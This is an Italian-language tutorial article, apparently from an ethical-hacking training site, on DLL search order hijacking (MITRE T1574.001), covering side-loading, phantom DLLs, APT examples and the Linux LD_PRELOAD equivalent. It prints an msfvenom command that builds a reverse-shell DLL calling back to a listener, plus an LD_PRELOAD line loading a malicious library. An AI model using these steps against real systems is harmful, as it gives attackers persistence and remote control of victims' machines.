Hijack delle DLL: DLL Search Order Hijacking (T1574.001)
L'hijacking delle DLL rappresenta una famiglia di tecniche che sfruttano il meccanismo di caricamento delle librerie dinamiche in Windows per ottenere persistenza, escalation dei privilegi ed evasione delle difese. Gli attaccanti abusano del fatto che i programmi caricano DLL secondo un ordine di ricerca predefinito, permettendo l'esecuzione di codice malevolo mascherato da librerie legittime.
Questa tecnica si manifesta in tre tattiche principali: TA0003 (Persistence) dove l'avversario mantiene l'accesso dopo riavvii e modifiche di credenziali, TA0004 (Privilege Escalation) per ottenere privilegi elevati sfruttando DLL caricate a livello SYSTEM, e TA0005 (Defense Evasion) per nascondere attività malevole all'interno di processi fidati. Con 32 gruppi APT, 67 malware e 4 campagne documentate che utilizzano questa tecnica, rappresenta uno dei vettori d'attacco più diffusi nell'arsenale degli attaccanti avanzati.
Il DLL side-loading inizia identificando applicazioni legittime con debolezze nel caricamento delle librerie. Un classico target è qualsiasi eseguibile firmato digitalmente che cerca DLL in directory scrivibili prima di quelle di sistema.
Per simulare un attacco di search order hijacking su Windows, crea prima una DLL malevola che esporta le stesse funzioni dell'originale:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll > malicious.dll
Posiziona la DLL malevola nella stessa directory dell'eseguibile target. Quando l'applicazione viene lanciata, Windows caricherà prima la DLL locale invece di quella legittima in System32. Gruppi come APT3 hanno utilizzato versioni modificate di Chrome per caricare le loro backdoor attraverso questo metodo.
Per il phantom DLL hijacking, identifica riferimenti a DLL non esistenti usando Process Monitor con filtro su NAME NOT FOUND. Lazarus Group ha sostituito win_fw.dll durante l'installazione di IDA Pro, sapendo che il programma cercava questa DLL inesistente.
Su Linux, l'equivalente è l'abuso di LD_PRELOAD:
export LD_PRELOAD=/tmp/malicious.so ./legitimate_app
La tecnica del "loader-for-a-loader" usata da APT41 prevede una catena di DLL dove la prima carica semplicemente la seconda contenente il payload reale. Questo frammenta l'analisi richiedendo la raccolta di tutti i componenti per comprendere il comportamento completo del malware.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo